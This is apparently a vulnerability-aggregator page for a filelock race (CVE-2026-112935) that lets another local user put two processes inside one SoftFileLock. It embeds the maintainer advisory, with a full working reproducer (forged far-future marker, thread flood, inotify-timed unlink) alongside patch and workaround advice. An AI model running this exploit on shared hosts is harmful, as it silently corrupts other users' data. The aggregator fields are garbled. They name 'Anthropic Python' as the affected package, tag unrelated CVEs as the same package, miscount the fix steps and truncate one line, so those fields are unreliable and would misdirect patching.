CVE-2026-112935: filelock: stale-lock race lets two processes hold one lock
GHSA-fq56-3cx3-fjxpMEDIUMfilelock, the Python file-locking library, has a race condition in its stale-lock breaking logic (versions 3.22.0 to 4.2.0). A second local user on the same host can trick two processes of another user into holding the same "exclusive" SoftFileLock at once, with no error or log. The practical risk is silent corruption of whatever the lock protects, such as model checkpoints, dataset caches or shared artifact directories. Exploitation needs a local account, a shared sticky directory such as /tmp, and an ext4 or xfs filesystem, so the CVSS score is a moderate 4.7. The package is widely embedded (5,436 downstream dependents) and EPSS places it in the top 97th percentile, but it is not in CISA KEV and no public exploit or Nuclei template exists. Upgrade to filelock 4.2.1. Until then, move soft-lock files into a private 0700 directory owned by the lock user or onto tmpfs, and avoid shared /tmp lock paths on multi-tenant hosts.
What is the risk?
Medium (CVSS 4.7, local vector, high attack complexity). The attacker must hold a local account and be able to create files in the lock's directory. The filesystem must reuse freed inode numbers, as ext4, xfs and overlayfs on them do. At least two processes of the victim user must contend for the lock. Exploitation is a race, but the attacker controls its timing and retries at every release. The vendor's reproducer measured 10 to 26 overlaps per 20-second run. EPSS is 0.00132 (top 97th percentile), the CVE is not in KEV, and there is no public exploit or scanner template. Risk is highest on shared GPU or ML hosts, CI runners and notebook servers where several users share /tmp. Single-tenant containers face negligible risk from a hostile user, though the same overlap can rarely occur under heavy same-account contention.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Anthropic Python | pip | >= 3.22.0, <= 4.2.0 | 4.2.1 |
Do you use Anthropic Python? You're affected.
How severe is it?
What is the attack surface?
What should I do?
2 steps1) Upgrade filelock to 4.2.1 or later (fix: tox-dev/filelock PR #843, commit 740ff66). Run pip show filelock and pipdeptree across ML environments, containers and CI images to find vulnerable versions between 3.22.0 and 4.2.0. 2) Until patched, keep soft-lock files in a 0700 directory owned by the lock user rather than a shared sticky directory like /tmp or /var/tmp, or put the lock directory on tmpfs. 3) Prefer the native flock-based FileLock on local ext4, and avoid SoftFileLock where it is not needed. 4) Do not run untrusted users on the same host as sensitive ML pipelines. 5) Detection: look for unexpected files in lock directories owned by other UIDs, lock markers with future modification times, repeated Timeout errors, and a lock owner's marker with st_nlink ==
Add integrity checks (hashes or atomic writes) on artifacts written under soft locks.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-112935?
filelock, the Python file-locking library, has a race condition in its stale-lock breaking logic (versions 3.22.0 to 4.2.0). A second local user on the same host can trick two processes of another user into holding the same "exclusive" SoftFileLock at once, with no error or log. The practical risk is silent corruption of whatever the lock protects, such as model checkpoints, dataset caches or shared artifact directories. Exploitation needs a local account, a shared sticky directory such as /tmp, and an ext4 or xfs filesystem, so the CVSS score is a moderate 4.7. The package is widely embedded (5,436 downstream dependents) and EPSS places it in the top 97th percentile, but it is not in CISA KEV and no public exploit or Nuclei template exists. Upgrade to filelock 4.2.1. Until then, move soft-lock files into a private 0700 directory owned by the lock user or onto tmpfs, and avoid shared /tmp lock paths on multi-tenant hosts.
Is CVE-2026-112935 actively exploited?
No confirmed active exploitation of CVE-2026-112935 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-112935?
1) Upgrade filelock to 4.2.1 or later (fix: tox-dev/filelock PR #843, commit 740ff66). Run pip show filelock and pipdeptree across ML environments, containers and CI images to find vulnerable versions between 3.22.0 and 4.2.0. 2) Until patched, keep soft-lock files in a 0700 directory owned by the lock user rather than a shared sticky directory like /tmp or /var/tmp, or put the lock directory on tmpfs. 3) Prefer the native flock-based FileLock on local ext4, and avoid SoftFileLock where it is not needed. 4) Do not run untrusted users on the same host as sensitive ML pipelines. 5) Detection: look for unexpected files in lock directories owned by other UIDs, lock markers with future modification times, repeated Timeout errors, and a lock owner's marker with st_nlink == 0. Add integrity checks (hashes or atomic writes) on artifacts written under soft locks.
What systems are affected by CVE-2026-112935?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, data preprocessing pipelines, shared ML workstations and notebook servers, CI/CD for ML.
What is the CVSS score for CVE-2026-112935?
CVE-2026-112935 has a CVSS v3.1 base score of 4.7 (MEDIUM). The EPSS exploitation probability is 0.13%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001AI SoftwareCompliance Controls Affected
What are the technical details?
Original Advisory
The stale-lock break shared by `SoftFileLock`, `MarkerSoftFileLock` and `SoftFileLease` (and their async variants, and a `FileLock` that has fallen back to a soft lock on `ENOSYS`, the "not implemented" error) recognises the marker it judged stale by two values. The marker is the lock file at `<path>`, whose presence says a process holds the lock. The values are its inode number (the kernel's identity for a file, independent of its name) and its modification time (mtime) not being newer. The check runs after the contender has already closed the marker, so nothing keeps the inode allocated. On a filesystem that hands a freed inode number straight to the next file (ext4, xfs, overlayfs on them) the next holder's marker can carry that number. A contender still between its read and its break then renames and unlinks the live marker. Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), forces this at will. It plants a marker with a stale owner record and a modification time in the future and unlinks it as soon as a contender has read it. Two processes of the user running the lock (the lock user below) then hold the same default-configured lock at once, and nothing raises or logs. Affected versions: filelock >= 3.22.0 and <= 4.2.0 (finding `ANT-2026-KIIS96IX`). ## Severity **CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race, though one the other user starts, lengthens (by making the lock user's `/proc` read slow) and retries at every release. The scanner measured 10 to 26 overlaps per 20-second run. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working. Classification from the review: security, conditional on a sticky shared directory, ext4-style inode reuse and at least two contenders of the lock user. Our review verified it across UIDs (a UID is a user account's numeric id): the other user as uid 1001, the lock user's processes as uid 1000, BUG on 4.2.0 over ext4. The scanner rated it high (CWE-367). ## Scope and preconditions - The other user can create files in the lock's directory; a root-owned `1777` directory such as `/tmp` or `/var/tmp` is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. The sticky bit stops it removing the lock user's marker (checked: `EPERM`, operation not permitted), so the lock user's own stale break does the deletion. - The directory is on a filesystem that hands a freed inode number straight to the next file. ext4 does (six create/unlink rounds returned one number six times, in the image's overlayfs `/tmp` and on a loop-mounted ext4), and xfs does. tmpfs returned six increasing numbers and the same run there gave no overlap, and btrfs does not hand a freed number back. - The lock user has at least two processes contending for the lock, and the displaced holder is still inside when the next contender polls (the breaker itself comes back one `poll_interval`, 50 ms by default, later). - The lock is `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` (or async forms). The default `flock`-based `FileLock` joins them only after it has fallen back to `SoftFileLock` on `ENOSYS`. `StrictSoftFileLock` does not call `break_lock_file`, so it is not affected. - The same overlap also occurs with no other user involved, under heavy same-account contention, when a contender breaks a dead holder's marker and a successor creates its marker within the same timestamp tick (about once in 750 crashes with 64 workers on a 2-CPU machine, not on tmpfs). filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that. ## Affected code At the scanned commit b831496, the re-check sits in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118). Its callers are [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256). The reader [`_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L334) closes the judged marker before the verdict. ## Introduced e35c3afac473 ("feat(soft): detect and break stale locks", #476, 2026-02-13), first released in 3.22.0 (verified against the tags). Every release since, up to 4.2.0, carries the check. ## Mechanism `_try_break_stale_lock` reads the marker through `_read_lock_file` (`lstat`, `O_RDONLY | O_NONBLOCK | O_NOFOLLOW` open, `fstat`, read, `close`), decides with `owner_is_stale` that the owner is gone, and calls `break_lock_file(lock_file, mtime, ino)`: ```python # src/filelock/_util.py:113-118 if (current := os.lstat(lock_file)).st_mtime > mtime_before or current.st_ino != ino_before: return break_path: Final[str] = f"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}" Path(lock_file).rename(break_path) if (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before: Path(break_path).unlink() ``` Between the `close` in `_read_lock_file` and the `lstat` on line 113 nothing keeps the inode allocated. An inode number identifies a file only while something holds that inode. The release path already says so ("Our open descriptor keeps the inode allocated, so its number cannot name a successor's marker yet"); the break path does not. That leaves the modification time, which the file's owner sets to any value and which the code compares by order. With two jobs A and B of the lock user and the other user: 1. The other user creates `app.lock` (inode `I`) with the record `<its own pid>\n<host>\n1\n` and sets its time to the year 2100 with `os.utime()`. A live PID with a wrong start token (the value that identifies one incarnation of a PID) is a recycled PID, so every contender judges the owner stale. On its own this marker only makes the lock user's processes wait: they cannot rename another user's file in a sticky directory (`EPERM`, and `acquire(timeout=1)` raises `Timeout`). 2. A polls, reads `(record, mtime=2100, ino=I)`, closes the file and enters `owner_is_stale()`. 3. The other user unlinks its marker. Inode `I` is free. 4. B polls. The path is empty, so `O_EXCL` (create only if absent) succeeds and ext4 gives the new marker inode number `I`. B holds the lock. 5. A reaches line 113 and looks at B's marker: its time (now) is not newer than 2100 and its inode number is `I`. A renames it (it is the lock user's own file, so the sticky bit does not object), line 117 passes for the same reason, and line 118 unlinks the live marker. 6. The path is empty again while B is still inside. The next contender to poll, A included, creates its marker and holds the lock as well. When B releases, `_unlink_open_marker` finds another file at the path and leaves it alone, so neither side raises or logs anything. This is not the documented rename/link-back window: the code does not take the link-back branch and leaves no `app.lock.break.*` file behind. With a marker dated 2000, line 113 sees a newer time on B's marker and returns. The other user does not need luck for the timing of step 3. It sees A's `close()` through inotify (a Linux facility that reports file events; here `IN_CLOSE_NOWRITE` on its own file), and it chooses how long A stays in `owner_is_stale()`. To compare the start token, `process_start_token()` reads `/proc/<pid>/stat`, and the kernel walks every thread of that process. Measured as `victim`, `owner_is_stale()` takes a median of 19 µs for a dead PID and 931 µs for a process with 8000 idle threads. Step 4 then needs another contender's 50 ms poll to fall into that millisecond, and the other user retries at every release of the lock. A forged time is not required, only convenient. File times advance in 4 ms steps, so a successor's marker created in the same step as the stale marker's last write compares equal and passes `>` / `<=` too (8, 16 and 16 overlaps in three 20-second runs with the `os.utime()` call removed, and still 9 with the comparisons changed to `!=` / `==`). Outside a container the window is wider. With a bare hostname `owner_is_stale()` goes on to `_owner_runs_elsewhere()`, which reads `/proc/<pid>/stat` of every process on the machine (7 ms with 500 processes, 45 ms with 3000, against the default 50 ms `poll_interval`). With 3000 idle processes of the other user, both jobs of the lock user were inside at once in 12 and 13 of 30 rounds. `MarkerSoftFileLock` and `SoftFileLease` read with `_read_lock_file()` and call `break_lock_file()` in the same way, and showed the same overlap when a stall held A 3 s in its `kill(pid, 0)` probe. The malformed-marker self-heal in `SoftFileLock` hands `break_lock_file()` values from the same closed descriptor. Where the lock user may rename the other user's file (it owns the sticky directory, or is root), the other user only acquires the free lock, dates the marker ahead and exits without releasing. The first contender then breaks that marker as designed and creates its own on the freed number, and a second contender that judged the planted marker before that break removes the live one. Two of the project's own tests at the scanned commit hit the same case without any other user (`test_stale_break_racing_a_successor_admits_no_third_holder`, `test_break_lock_file_leaves_a_swapped_in_symlink_aside`), failing in 10 of 14 runs on ext4. ## Reproduction The scanner's reproducer for finding `ANT-2026-KIIS96IX`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`. **`repro`** ```python #!/usr/bin/env python3 import os import shutil import subprocess import sys LOCK_DIR = "/tmp/shared-locks" LOCK_PATH = f"{LOCK_DIR}/app.lock" VICTIM_JOBS = 6 RUN_SECONDS = 20 JAN_1_2000 = 946684800 JAN_1_2100 = 4102444800 def run_victim_jobs_beside_attacker(stale_marker_mtime): # set up: an empty root-owned sticky directory, like /tmp (the sticky bit stops the attacker removing victim files) shutil.rmtree(LOCK_DIR, ignore_errors=True) os.mkdir(LOCK_DIR) os.chmod(LOCK_DIR, 0o1777) # run: nobody is paused or traced; the attacker and the victim's jobs just run side by side attacker = subprocess.Popen( [sys.executable, "/tmp/repro.d/plant_stale_markers.py", LOCK_PATH, str(stale_marker_mtime)], stdout=subprocess.PIPE, text=True, user="attacker", group="attacker", extra_groups=[], ) try: assert attacker.stdout.readline() == "ready\n" jobs = [ subprocess.Popen( [sys.executable, "/tmp/repro.d/victim_job.py", LOCK_PATH, str(RUN_SECONDS)], stdout=subprocess.PIPE, text=True, user="victim", group="victim", extra_groups=[], ) for _ in range(VICTIM_JOBS) ] holds = [] for number, job in enumerate(jobs): output, _ = job.communicate(timeout=RUN_SECONDS + 60) assert job.returncode == 0 # no Timeout or other exception reached the victim's code for line in output.splitlines(): entered, left, is_locked = line.split() assert is_locked == "True" # the job believed it held the lock holds.append((float(entered), float(left), f"job{number}")) finally: attacker.kill() attacker.wait() break_files = [name for name in os.listdir(LOCK_DIR) if ".break." in name] return sorted(holds), break_files def overlapping_holds(holds): # time.monotonic() is CLOCK_MONOTONIC, one clock for every process on the host, so the intervals compare directly return [ (first, second) for index, first in enumerate(holds) for second in holds[index + 1 :] if second[0] < first[1] # sorted by entry: the second entered before the first had left ] control_holds, _ = run_victim_jobs_beside_attacker(JAN_1_2000) control_overlaps = overlapping_holds(control_holds) print(f"CONTROL attacker's stale markers dated 2000: {len(control_holds)} holds by {VICTIM_JOBS} victim jobs") print(f" two jobs inside the lock at once: {len(control_overlaps)} times") attack_holds, break_files = run_victim_jobs_beside_attacker(JAN_1_2100) attack_overlaps = overlapping_holds(attack_holds) print(f"OBSERVED attacker's stale markers dated 2100: {len(attack_holds)} holds by {VICTIM_JOBS} victim jobs") print(f" two jobs inside the lock at once: {len(attack_overlaps)} times") for (entered, left, job), (other_entered, other_left, other_job) in attack_overlaps[:3]: print(f" {job} inside {entered:.3f}-{left:.3f}, {other_job} inside {other_entered:.3f}-{other_left:.3f}") # the documented rename/link-back window of a stale break would strand a live marker as app.lock.break.* print(f" stale-break files left in {LOCK_DIR}: {break_files}") # check: an exclusive lock with default options must never have two holders at once print("BUG" if not control_overlaps and attack_overlaps else "OK") ``` **`repro.d/plant_stale_markers.py`** ```python #!/usr/bin/env python3 import ctypes import os import sys import threading import time from filelock import SoftFileLock lock_path, marker_mtime = sys.argv[1], int(sys.argv[2]) IN_CLOSE_NOWRITE = 0x10 libc = ctypes.CDLL(None) # contenders only judge markers written on their own host, so take the host string from a marker of our own with SoftFileLock(lock_path): with open(lock_path) as own_marker: host = own_marker.read().splitlines()[1] # <pid>\n<host>\n<start token>\n: this PID is alive but its start token is not 1, so it reads as a recycled PID # and every contender judges the marker stale stale_marker = f"{os.getpid()}\n{host}\n1\n".encode() # To compare start tokens a contender reads /proc/<pid>/stat, and the kernel walks every thread of that process: # with 8000 threads that is about 1 ms between the contender reading the marker and breaking it. threading.stack_size(64 * 1024) for _ in range(8000): threading.Thread(target=threading.Event().wait, daemon=True).start() print("ready", flush=True) while True: # plant the stale marker whenever the lock path is free try: fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644) except FileExistsError: time.sleep(0.0002) continue os.write(fd, stale_marker) os.utime(fd, (marker_mtime, marker_mtime)) # a file's owner may give it any modification time os.close(fd) # once a contender has read it, unlink it: its inode number is free again for the next holder's marker inotify = libc.inotify_init() libc.inotify_add_watch(inotify, lock_path.encode(), IN_CLOSE_NOWRITE) os.read(inotify, 4096) os.unlink(lock_path) os.close(inotify) # creating anything before the next holder does would take that inode number away from it while not os.path.lexists(lock_path): time.sleep(0.0002) ``` **`repro.d/victim_job.py`** ```python #!/usr/bin/env python3 import random import sys import time from filelock import SoftFileLock lock_path, run_seconds = sys.argv[1], float(sys.argv[2]) lock = SoftFileLock(lock_path) stop_at = time.monotonic() + run_seconds while time.monotonic() < stop_at: with lock: entered = time.monotonic() time.sleep(random.uniform(0.05, 0.15)) # the work the lock protects print(entered, time.monotonic(), lock.is_locked, flush=True) ``` ## Attack sequence ```mermaid sequenceDiagram participant X as other local user (uid 1001) participant P as app.lock (root-owned 1777 dir, ext4) participant A as process A of the lock user (uid 1000) participant B as process B of the lock user (uid 1000) X->>P: create "livepid host 1", utime to 2100 (inode I) A->>P: open, fstat (ino I, mtime 2100), read, close A->>A: owner_is_stale: recycled PID (slow: /proc read of X's 8000-thread process) rect rgb(255, 214, 214) X->>P: inotify IN_CLOSE_NOWRITE on own file: unlink it, I is free B->>P: O_CREAT|O_EXCL: new marker gets inode I, B holds and enters A->>P: lstat: mtime now <= 2100 and ino == I: rename to app.lock.break.* A->>P: lstat break name: same, unlink B's live marker A->>P: next poll 50 ms later: O_EXCL create, A enters beside B Note over A,B: B's release finds another inode, leaves it, no error on either side end ``` ## Evidence The scanner's reproducer runs six `victim` jobs (uid 1000) looping `with SoftFileLock("/tmp/shared-locks/app.lock"):` around 50 to 150 ms of work, printing `time.monotonic()` entry and exit and `lock.is_locked`, for 20 s. Beside them runs an `attacker` process (uid 1001) with 8000 idle threads that plants its marker whenever the path is free, waits for `IN_CLOSE_NOWRITE`, unlinks it and waits for the next `victim` marker. The control (markers dated 2000) prints `191 holds by 6 victim jobs, two jobs inside the lock at once: 0 times`. The disturbed run (dated 2100) prints `196 holds, two jobs inside the lock at once: 15 times`, for example `job3 inside 130.436-130.530, job5 inside 130.444-130.521`, with `stale-break files left in /tmp/shared-locks: []`. Six runs gave between 11 and 24 overlaps, 0 in each control, every `with` block ending without error with `is_locked == True`. An `strace` of a landed round shows A's `close(4</tmp/app.lock>(deleted))`, B's `openat(O_WRONLY|O_CREAT|O_EXCL|...)` with `st_ino=296421`, and A's `lstat`, `rename`, `lstat`, `unlink` all on 296421, followed by B's `write(4</tmp/app.lock.break.32232.7d9f...>(deleted), ...)` and A's own create 53 ms later. Our review ran the reproducer over a loop-mounted ext4 `/tmp` inside the container (the host's btrfs does not reuse a number). Result: BUG on 4.2.0 in 43 s, with the other user as uid 1001 against the lock user's processes as uid 1000; it created and unlinked only its own file in a root-owned `1777` directory. On btrfs the same run is OK, so the condition is the filesystem's inode allocation. On the head of #843 the run was OK with 0 overlaps in 193 holds. ## Impact A local user who can create files in the lock's directory puts two processes of another user inside the same default-configured `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` at once, with no exception, no `lifetime`, no lease expiry and no `break_lock()` involved. Two holders then write the data the lock protects. `SoftFileLock` and `MarkerSoftFileLock` holders learn nothing. A displaced `SoftFileLease` holder got `compromise.reason == "owner-changed"` at its first heartbeat (the periodic refresh a lease holder runs) when the second holder's marker was still at the path, and `None` after 13 s when the second holder had already released. It is a race, but the other user controls the start and the length of the window, and each failed attempt costs the lock user's processes one poll. Under the same interference with two processes of the lock user and 20 ms critical sections, 26 of 110 holds in 60 s found their own marker unlinked (`st_nlink == 0`, no name left for the file) while inside, without two holds overlapping. Not affected: tmpfs and btrfs, a lock with a single contender, `StrictSoftFileLock`. ## Workarounds Keep soft locks in a directory other users cannot create files in (a `0700` directory of the lock's user) rather than a shared sticky directory, or place the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. `StrictSoftFileLock` is not affected. ## Patched version 4.2.1. Fix: https://github.com/tox-dev/filelock/pull/843 ## Credits Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers. - 2026-10-15 23:08 UTC: report received (finding `ANT-2026-KIIS96IX`, scanned commit b831496b0273) - 2026-10-16 01:42 UTC: fix PR #843 opened - 2026-10-16 05:38 UTC: draft advisory created
Exploitation Scenario
On a shared ML workstation or CI host, an attacker with a low-privilege account watches a world-writable /tmp directory where another user's training jobs coordinate through a SoftFileLock on a shared cache. The attacker plants a lock marker that looks stale and dates it to the year 2100. They keep a process with thousands of threads so that the victim's /proc read is slow. Using inotify, they unlink the marker the moment a victim process reads it. A second victim job then creates its live marker on the freed inode number. The first job's stale-break step wrongly deletes that live marker, and a third contender then acquires the lock. Two jobs write the same checkpoint or dataset cache at once, silently corrupting model artifacts or preprocessed data.
Weaknesses (CWE)
CWE-367 — Time-of-check Time-of-use (TOCTOU) Race Condition: The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
- [Implementation] The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
- [Implementation] When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:NReferences
Timeline
Related Vulnerabilities
CVE-2026-9460310.0Podman: checkpoint images override sandbox on run
Same package: anthropicCVE-2026-544498.8LangBot: RCE via arbitrary STDIO MCP command
Same package: anthropicCVE-2026-277758.8Gitea: cached permission check allows repo takeover
Same package: anthropicCVE-2026-554298.7Coder: cross-workspace agent hijack via app ID reuse
Same package: anthropicCVE-2026-75748.7Claude Desktop: VM integrity bypass enables RCE
Same package: anthropic